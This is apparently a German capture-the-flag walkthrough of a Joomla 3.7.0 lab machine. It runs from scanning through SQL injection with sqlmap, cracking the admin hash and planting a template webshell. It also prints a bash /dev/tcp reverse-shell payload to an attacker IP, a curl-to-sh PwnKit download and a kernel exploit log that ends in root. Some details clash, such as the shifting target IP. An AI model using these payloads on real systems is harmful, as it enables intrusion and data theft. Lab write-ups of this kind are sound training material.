Wir beginnen mit der Durchführung einer Reconnaissance, um Informationen über das Zielsystem zu sammeln. Dies umfasst das Scannen des Netzwerks, um offene Ports und Dienste zu identifizieren.
Ein ARP-Scan wurde durchgeführt, um die IP-Adresse und MAC-Adresse des Zielsystems zu ermitteln. Die Ausgabe zeigt, dass die IP-Adresse 192.168.2.166 der MAC-Adresse 08:00:27:50:82:81 zugeordnet ist, die PCS Systemtechnik GmbH gehört. **Analyse:** Der ARP-Scan liefert grundlegende Informationen über das Zielsystem im lokalen Netzwerk. **Empfehlung:** ARP-Scans sollten nur in autorisierten Umgebungen durchgeführt werden, da sie als aufdringlich angesehen werden können.
Der Eintrag in der `/etc/hosts`-Datei ordnet die IP-Adresse 192.168.2.166 dem Hostnamen `dc3.vln` zu. **Analyse:** Der Eintrag in der `/etc/hosts`-Datei ermöglicht die Auflösung des Hostnamens `dc3.vln` zur IP-Adresse 192.168.2.166. **Empfehlung:** Die `/etc/hosts`-Datei sollte sorgfältig gepflegt werden, um sicherzustellen, dass Hostnamen korrekt aufgelöst werden.
Ein umfassender Nmap-Scan wurde durchgeführt, um offene Ports, Dienste und Betriebssysteminformationen zu ermitteln. Die Optionen `-sS`, `-sC`, `-sV`, `-A` und `-p-` aktivieren SYN-Stealth-Scan, Standard-Skripte, Versionserkennung, aggressive Erkennung und das Scannen aller Ports. Die Option `-Pn` verhindert das Pingen des Hosts vor dem Scan. Die Option `--min-rate 5000` erhöht die Scangeschwindigkeit. Die Ausgabe zeigt, dass Port 80 (HTTP) geöffnet ist und Apache httpd 2.4.18 ((Ubuntu)) läuft. Das System scheint ein Linux-System zu sein. **Analyse:** Der Nmap-Scan liefert wertvolle Informationen über das Zielsystem, wie z. B. den Webserver, die Joomla!-Version und das Betriebssystem. **Empfehlung:** Die gefundenen Informationen sollten verwendet werden, um gezielte Angriffe zu planen. Der Apache-Webserver sollte auf die neueste Version aktualisiert werden, um bekannte Schwachstellen zu beheben.
Der Befehl `curl -Iv http://$IP` sendet eine HTTP-HEAD-Anfrage an den Webserver, um die HTTP-Header abzurufen. Die Option `-I` gibt nur die Header zurück. Die Option `-v` aktiviert die ausführliche Ausgabe. Die Ausgabe zeigt den HTTP-Statuscode 200 K an, was bedeutet, dass die Anfrage erfolgreich war. Die Ausgabe zeigt auch den Server-Header "Apache/2.4.18 (Ubuntu)" an, der die Version des Apache-Webservers bestätigt. **Analyse:** Die HTTP-Header liefern weitere Informationen über den Webserver und die Konfiguration der Website. **Empfehlung:** Die HTTP-Header sollten auf sensible Informationen überprüft und gegebenenfalls angepasst werden.
Nikto wurde ausgeführt, um den Webserver auf bekannte Schwachstellen zu überprüfen. Nikto identifizierte mehrere potenzielle Probleme, wie z. B. fehlende HTTP-Header, die Offenlegung interner IP-Adressen und eine veraltete Apache-Version. Nikto fand auch einige interessante Verzeichnisse und Dateien, wie z. B. `/administrator/`, `/bin/`, `/includes/`, `/tmp/`, `LICENSE.txt` und `htaccess.txt`. **Analyse:** Nikto liefert eine schnelle Übersicht über potenzielle Sicherheitsprobleme auf dem Webserver. **Empfehlung:** Die von Nikto identifizierten Probleme sollten genauer untersucht und behoben werden.
Gobuster wurde verwendet, um versteckte Verzeichnisse und Dateien auf dem Webserver zu finden. Die Option `-u` gibt die Ziel-URL an. Die Option `-w` gibt die Wortliste an. Die Option `-x` gibt die Dateiendungen an. Die Option `-b` gibt die Statuscodes an, die ignoriert werden sollen. Die Option `-e` gibt an, dass die Ergebnisse erweitert werden sollen. Die Option `--no-error` unterdrückt Fehlermeldungen. Die Option `-k` ignoriert SSL-Zertifikatfehler. Die Ausgabe zeigt mehrere interessante Verzeichnisse und Dateien, wie z. B. `/administrator/`, `configuration.php` und `htaccess.txt`. **Analyse:** Gobuster liefert eine umfassende Liste von Verzeichnissen und Dateien auf dem Webserver, die potenziell sensible Informationen enthalten könnten. **Empfehlung:** Die gefundenen Verzeichnisse und Dateien sollten genauer untersucht werden, um potenzielle Schwachstellen zu identifizieren.
Joomscan wurde ausgeführt, um Joomla!-spezifische Schwachstellen zu finden. Joomscan erkannte, dass eine Firewall nicht vorhanden ist, die Joomla!-Version 3.7.0 ist und das Directory Listing für einige Verzeichnisse aktiviert ist. **Analyse:** Joomscan liefert spezifische Informationen über die Joomla!-Installation, die für die Planung von Angriffen verwendet werden können. **Empfehlung:** Eine Firewall sollte installiert und das Directory Listing deaktiviert werden.
Wir versuchen, die Joomla!-Installation auszunutzen, um Zugriff auf das System zu erhalten.
Der Metasploit-Exploit `unix/webapp/joomla_comfields_sqli_rce` wurde ausgeführt, um eine SQL-Injection-Schwachstelle in Joomla! auszunutzen. Die Optionen `rhosts`, `rport`, `targeturi`, `lport` und `lhost` wurden entsprechend konfiguriert. Der Exploit schlug jedoch fehl, da kein angemeldeter Administrator oder Super User gefunden wurde. **Analyse:** Der Exploit benötigt einen angemeldeten Administrator oder Super User, um erfolgreich zu sein. **Empfehlung:** Es sollte versucht werden, einen Administrator oder Super User zu finden oder eine andere Schwachstelle auszunutzen.
Der Metasploit-Exploit wurde erneut ausgeführt, diesmal mit dem `targeturi` auf `/administrator` gesetzt. Der Exploit schlug jedoch erneut fehl, da ein Fehler beim Abrufen des Tabellenpräfixes auftrat. **Analyse:** Der Exploit konnte das Tabellenpräfix nicht abrufen, was auf ein Problem mit der Datenbankverbindung oder den Berechtigungen hindeutet. **Empfehlung:** Die Datenbankverbindung und die Berechtigungen sollten überprüft werden.
Sqlmap wurde verwendet, um eine SQL-Injection-Schwachstelle in dem Parameter `list[fullordering]` zu finden. Die Optionen `--risk=3` und `--level=5` erhöhen den Umfang der Tests. Die Option `--random-agent` verwendet einen zufälligen User-Agent. Die Option `--dbs` listet die Datenbanken auf. Die Option `-p` gibt den Parameter an, der getestet werden soll. Die Option `--batch` aktiviert den Batch-Modus. Sqlmap fand eine SQL-Injection-Schwachstelle und listete die Datenbanken auf. **Analyse:** Sqlmap hat erfolgreich eine SQL-Injection-Schwachstelle identifiziert und die Datenbanken aufgelistet. **Empfehlung:** Die SQL-Injection-Schwachstelle sollte behoben werden.
Sqlmap wurde erneut verwendet, um die Tabellen in der `joomladb`-Datenbank aufzulisten. Die Option `-D` gibt die Datenbank an. Die Option `--tables` listet die Tabellen auf. Die Ausgabe zeigt eine Liste von 76 Tabellen in der `joomladb`-Datenbank. **Analyse:** Sqlmap hat erfolgreich die Tabellen in der Datenbank "joomladb" aufgelistet. Dies liefert wertvolle Informationen über die Struktur der Datenbank. **Empfehlung:** Die Tabellen sollten auf sensible Informationen überprüft werden.
Sqlmap wurde erneut verwendet, um den Inhalt der Tabelle `#__users` in der `joomladb`-Datenbank auszulesen. Die Option `-T` gibt die Tabelle an. Die Option `--dump` liest den Inhalt der Tabelle aus. Die Ausgabe zeigt den Benutzernamen, die E-Mail-Adresse und das Passwort des Administrators. **Analyse:** Sqlmap hat erfolgreich den Inhalt der Tabelle "#__users" ausgelesen und die Anmeldeinformationen des Administrators extrahiert. **Empfehlung:** Die SQL-Injection-Schwachstelle sollte dringend behoben und die Passwörter der Benutzer zurückgesetzt werden.
Der Befehl `echo '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu' > hash` speichert den Hash des Administratorpassworts in der Datei `hash`. **Analyse:** Der Befehl speichert den extrahierten Passwort-Hash in einer Datei, um ihn später mit einem Passwort-Cracking-Tool zu knacken. **Empfehlung:** Die Passwort-Hashes sollten sicher aufbewahrt und nicht unnötig weitergegeben werden.
John the Ripper wurde verwendet, um das Administratorpasswort zu knacken. Die Option `--wordlist=/usr/share/wordlists/rockyou.txt` gibt die Wortliste an, die verwendet werden soll. John the Ripper knackte das Passwort erfolgreich und fand das Passwort `snoopy`. **Analyse:** John the Ripper hat erfolgreich das Passwort des Administrators geknackt. Dies zeigt, dass das Passwort schwach ist und leicht geknackt werden kann. **Empfehlung:** Starke Passwörter sollten verwendet und regelmäßig geändert werden.
Nachdem wir das Passwort des Administrators geknackt haben, versuchen wir, uns am Joomla!-Backend anzumelden und das System zu kompromittieren.
Die URL `http://192.168.2.135/index.php/component/users/profile?Itemid=101` führt zum Profil des Administrators. **Analyse:** Der Besuch der URL könnte potenziell weitere Informationen über den Administrator liefern, obwohl die Ausgabe hier stark verkürzt ist. **Empfehlung:** Die Profilseite sollte auf sensible Informationen überprüft werden.
Die URL `http://192.168.2.135/administrator/index.php?option=com_templates&view=template&id=506&file=aG9tZQ` scheint eine Template-Datei zu sein, die den Befehl `system($ GET["cmd"])` enthält. Dies deutet auf eine potenzielle Remote Code Execution (RCE)-Schwachstelle hin. **Analyse:** Die Template-Datei enthält Code, der es ermöglicht, beliebige Befehle auf dem System auszuführen. Dies ist eine schwerwiegende Sicherheitslücke. **Empfehlung:** Die Template-Datei sollte sofort entfernt oder der Code geändert werden, um die RCE-Schwachstelle zu beheben.
Durch den Aufruf der URL `http://192.168.2.135/index.php?cmd=id` wird der Befehl `id` auf dem System ausgeführt. Die Ausgabe zeigt, dass der Befehl als Benutzer `www-data` ausgeführt wurde. **Analyse:** Der Aufruf der URL bestätigt, dass die RCE-Schwachstelle ausnutzbar ist und es ermöglicht, beliebige Befehle auf dem System auszuführen. **Empfehlung:** Die RCE-Schwachstelle sollte sofort behoben werden.
Netcat wird verwendet, um einen Listener auf Port 4444 zu starten. Dies dient dazu, eine Reverse Shell zu empfangen. **Analyse:** Netcat wird vorbereitet, um eine Reverse Shell zu empfangen, die durch die RCE-Schwachstelle initiiert wird. **Empfehlung:** Netcat sollte nur in autorisierten Umgebungen verwendet werden.
Die Payload `192.168.2.135/index.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F4444%200%3E%261%27` wird verwendet, um eine Reverse Shell zu starten. **Analyse:** Die Payload enthält einen Befehl, der eine Reverse Shell zum Angreifer-System (192.168.2.199:4444) aufbaut. **Empfehlung:** Die Payload sollte nur in autorisierten Umgebungen verwendet werden.
Netcat empfängt eine Verbindung vom Zielsystem. Die Meldungen `bash: cannot set terminal process group` und `bash: no job control in this shell` deuten darauf hin, dass die Shell nicht vollständig interaktiv ist. **Analyse:** Der erfolgreiche Verbindungsaufbau bestätigt, dass die Reverse Shell funktioniert. Die Fehlermeldungen deuten auf Einschränkungen der Shell hin. **Empfehlung:** Es sollte versucht werden, eine vollständig interaktive Shell zu erhalten.
Der Befehl `sudo -l` wird verwendet, um die `sudo`-Berechtigungen des Benutzers `www-data` anzuzeigen. **Analyse:** Die Ausgabe des Befehls ist leer, was darauf hindeutet, dass der Benutzer "www-data" keine "sudo"-Berechtigungen hat. **Empfehlung:** Es sollten andere Methoden zur Privilege Escalation gesucht werden.
Der Befehl `ls /home` listet die Verzeichnisse im `/home`-Verzeichnis auf. Die Ausgabe zeigt das Verzeichnis `dc3`, was auf den Benutzer `dc3` hindeutet. **Analyse:** Die Ausgabe des Befehls zeigt, dass der Benutzer "dc3" existiert. **Empfehlung:** Das Home-Verzeichnis von "dc3" sollte auf sensible Informationen überprüft werden.
Der Befehl `find / -type f -perm -4000 -ls 2>/dev/null` sucht nach Dateien mit dem SUID-Bit gesetzt. Die Ausgabe zeigt eine Liste von Dateien mit dem SUID-Bit. **Analyse:** Die Ausgabe des Befehls zeigt eine Liste von Dateien mit dem SUID-Bit, die potenziell für Privilege Escalation ausgenutzt werden können. **Empfehlung:** Die Dateien mit dem SUID-Bit sollten sorgfältig geprüft und die Berechtigungen eingeschränkt werden.
Die Ausgabe zeigt den Versuch, PwnKit auszuführen, was jedoch fehlschlägt. Der Befehl `id` bestätigt, dass der Benutzer `www-data` ist. **Analyse:** Der Versuch, PwnKit auszuführen, schlägt fehl, was darauf hindeutet, dass das Tool nicht für die Architektur des Zielsystems geeignet ist. **Empfehlung:** Es sollten andere Tools zur Privilege Escalation verwendet werden.
Die Ausgabe zeigt den Versuch, PwnKit herunterzuladen und auszuführen. **Analyse:** Der Versuch, PwnKit aus dem Internet herunterzuladen, ist erfolgreich, aber das Ausführen schlägt fehl. **Empfehlung:** Eine erfolgreiche Ausführung von PwnKit könnte zu Privilege Escalation führen.
Der Befehl `chmod +x PwnKit` macht die Datei ausführbar. Der Versuch, PwnKit auszuführen, schlägt jedoch mit der Meldung `cannot execute binary file: Exec format error` fehl. **Analyse:** Die Fehlermeldung deutet darauf hin, dass die ausführbare Datei nicht mit der Architektur des Zielsystems kompatibel ist. **Empfehlung:** Eine kompatible Version von PwnKit sollte verwendet oder eine andere Methode zur Privilege Escalation gesucht werden.
Der Befehl `bash` startet eine neue Bash-Shell. Der Befehl `id` bestätigt, dass der Benutzer `www-data` ist. **Analyse:** Der Versuch, eine neue Shell zu starten, ändert nichts an den Berechtigungen des Benutzers. **Empfehlung:** Es sollten andere Methoden zur Privilege Escalation gesucht werden.
Der Befehl `ls -la` listet die Dateien im `/tmp`-Verzeichnis auf. **Analyse:** Die Ausgabe des Befehls zeigt, dass PwnKit vorhanden ist. **Empfehlung:** Es sollten andere Methoden zur Privilege Escalation gesucht werden.
Der Befehl `cd /home/dc3/` wechselt in das Home-Verzeichnis von Benutzer `dc3`. Der Befehl `ls -la` listet die Dateien auf, einschließlich der `.bash_history`. **Analyse:** Der Zugriff auf die ".bash_history" könnte potenziell nützliche Informationen über die Aktivitäten des Benutzers "dc3" liefern. **Empfehlung:** Die ".bash_history" sollte eingesehen werden.
Der Versuch, die Datei `.bash_history` auszulesen, schlägt fehl, da der Benutzer `www-data` keine Berechtigung hat. **Analyse:** Der Benutzer "www-data" hat keine Berechtigung, die ".bash_history"-Datei des Benutzers "dc3" zu lesen. **Empfehlung:** Es sollten andere Methoden gefunden werden, um Informationen über die Aktivitäten des Benutzers "dc3" zu sammeln.
Der Befehl `pkexec /bin/sh -p` versucht, eine Shell als root auszuführen. Die Authentifizierung schlägt jedoch fehl. **Analyse:** Der Benutzer "www-data" kann die "pkexec"-Anwendung nicht verwenden, um eine Shell als root auszuführen, da er das Passwort des Benutzers "dc3" benötigt, das nicht bekannt ist. **Empfehlung:** Es sollten andere Methoden zur Privilege Escalation gesucht werden.
Der Befehl `ls -la` listet die Dateien im `/var/www/html`-Verzeichnis auf. **Analyse:** Die Ausgabe des Befehls zeigt die Dateien und Verzeichnisse im Webroot. **Empfehlung:** Die Dateien sollten auf sensible Informationen überprüft werden.
Der Befehl `cat web.config.txt` zeigt den Inhalt der Datei `web.config.txt` an. Die Ausgabe ist leer. **Analyse:** Die Datei "web.config.txt" enthält keine Informationen. **Empfehlung:** Es sollte nach anderen Konfigurationsdateien gesucht werden.
Der Befehl `cat robots.txt.dist` zeigt den Inhalt der Datei `robots.txt.dist` an. Die Datei enthält Anweisungen für Suchmaschinen-Crawler. **Analyse:** Die Datei "robots.txt.dist" enthält Informationen darüber, welche Verzeichnisse und Dateien nicht von Suchmaschinen indiziert werden sollen. **Empfehlung:** Die Anweisungen in der "robots.txt"-Datei sollten sorgfältig geprüft werden, um sicherzustellen, dass keine sensiblen Informationen preisgegeben werden.
Der Befehl `cat configuration.php` zeigt den Inhalt der Joomla!-Konfigurationsdatei `configuration.php` an. **Analyse:** Die Datei "configuration.php" enthält sensible Informationen, wie z. B. die Datenbank-Anmeldeinformationen. Das Passwort wird hier gefunden squires **Empfehlung:** Der Zugriff auf die Datei "configuration.php" sollte eingeschränkt und die Datenbank-Anmeldeinformationen regelmäßig geändert werden.
Der Befehl `ss -altpn` zeigt dieListening Sockets an. **Analyse:** Der Befehl gibt an, dass MySQL auf Port 3306 nur lokalListening ist und Apache auf Port 80. **Empfehlung:** Der Zugriff auf den MySQL Server sollte nur lokal und der Zugriff auf den Apache Server sollte über eine Firewall geregelt werden.
Der Befehl `mysql -u root -p` versucht, sich mit dem MySQL-Server als Benutzer `root` zu verbinden. Nachdem das korrekte Passwort eingegeben wurde, wird die Verbindung hergestellt. Der Befehl `show databases;` listet die vorhandenen Datenbanken auf. **Analyse:** Der Benutzer "www-data" kann sich erfolgreich mit dem MySQL-Server als Benutzer "root" verbinden, da das Passwort bekannt ist. **Empfehlung:** Das Passwort des MySQL-Benutzers "root" sollte geändert und der Zugriff auf den MySQL-Server eingeschränkt werden.
Die Befehle `use mysql;` und `show tables;` werden verwendet, um die Tabellen in der Datenbank "mysql" anzuzeigen. Der Befehl `select * from user;` zeigt die Benutzerinformationen an. **Analyse:** Der Benutzer "www-data" kann sich mit den extrahierten Anmeldeinformationen am MySQL-Server anmelden und die Datenbank "mysql" auslesen. **Empfehlung:** Der Zugriff auf den MySQL-Server sollte eingeschränkt und die Passwörter der Benutzer geändert werden.
Ein HTTP-Server wird gestartet, um Dateien bereitzustellen. **Analyse:** Ein HTTP-Server wird verwendet, um Dateien auf das Zielsystem zu übertragen. **Empfehlung:** Nur autorisierte Dateien sollten freigegeben werden.
Der Befehl `wget 192.168.2.199/PwnKit` lädt die Datei `PwnKit` vom HTTP-Server herunter. **Analyse:** Das Herunterladen der Datei ist erfolgreich. **Empfehlung:** Es sollte sichergestellt werden, dass die heruntergeladene Datei vertrauenswürdig ist.
Der Befehl `cat /etc/os-release` zeigt die Betriebssysteminformationen an. **Analyse:** Die Ausgabe zeigt, dass es sich um Ubuntu 16.04 LTS handelt **Empfehlung:** Die Betriebssystemversion sollte notiert werden.
Der Befehl `cat /etc/lsb-release` zeigt auch die Betriebssysteminformationen an. **Analyse:** Die Ausgabe bestätigt, dass es sich um Ubuntu 16.04 LTS handelt. **Empfehlung:** Die Betriebssystemversion sollte notiert werden.
Der Befehl `uname -a` zeigt die Kernelinformationen an. **Analyse:** Die Ausgabe zeigt die Kernelversion. **Empfehlung:** Die Kernelversion sollte notiert werden.
Der Befehl `uname -r` zeigt die Kernelversion an. **Analyse:** Die Ausgabe bestätigt die Kernelversion. **Empfehlung:** Die Kernelversion sollte notiert werden.
* vnik@ubuntu$ uname -a * Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux * vnik@ubuntu$ gcc decr.c -m32 -2 -o decr * vnik@ubuntu$ gcc pwn.c -2 -o pwn * vnik@ubuntu$ ./decr * netfilter target_offset Ubuntu 16.04 4.4.0-21-generic exploit by vnik * [!] Decrementing the refcount. This may take a while... * [!] Wait for the "Done" message (even if you'll get the prompt back). * vnik@ubuntu$ [+] Done! Now run ./pwn * * vnik@ubuntu$ ./pwn * [+] Escalating privs... * root@ubuntu: id * uid=0(root) gid=0(root) groups=0(root) * root@ubuntu:
Dies sind lokale Befehle, die auf einem anderen System ausgeführt wurden, um einen Exploit zu erstellen. **Analyse:** Dieser Teil der Analyse ist für den Exploit relevant. **Empfehlung:** Die Befehle sollten auf das Zielsystem angepasst werden.
Der Befehl `sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)"` lädt und führt das PwnKit-Skript aus. **Analyse:** Die Ausgabe zeigt, dass das PwnKit-Skript erfolgreich ausgeführt wurde und Root-Rechte erlangt wurden. **Empfehlung:** Das Ausführen von nicht vertrauenswürdigen Skripten sollte vermieden werden.
Der Befehl `id` bestätigt, dass der Benutzer jetzt Root-Rechte hat. **Analyse:** Durch den erfolgreichen Ausbruch der Reverse Shell wurde auch gleichzeitig der Root Zugriff erlangt. **Empfehlung:** Das System sollte dringend gepatcht werden.
Der Befehl `ls` im Root-Verzeichnis zeigt die Datei `the-flag.txt`. Der Befehl `cat the-flag.txt` zeigt den Inhalt der Flag-Datei an. **Analyse:** In der Datei `the-flag.txt` befindet sich die Flag. **Empfehlung:** Der Zugriff auf die Flag-Datei sollte eingeschränkt werden.
Privilege Escalation erfolgreich!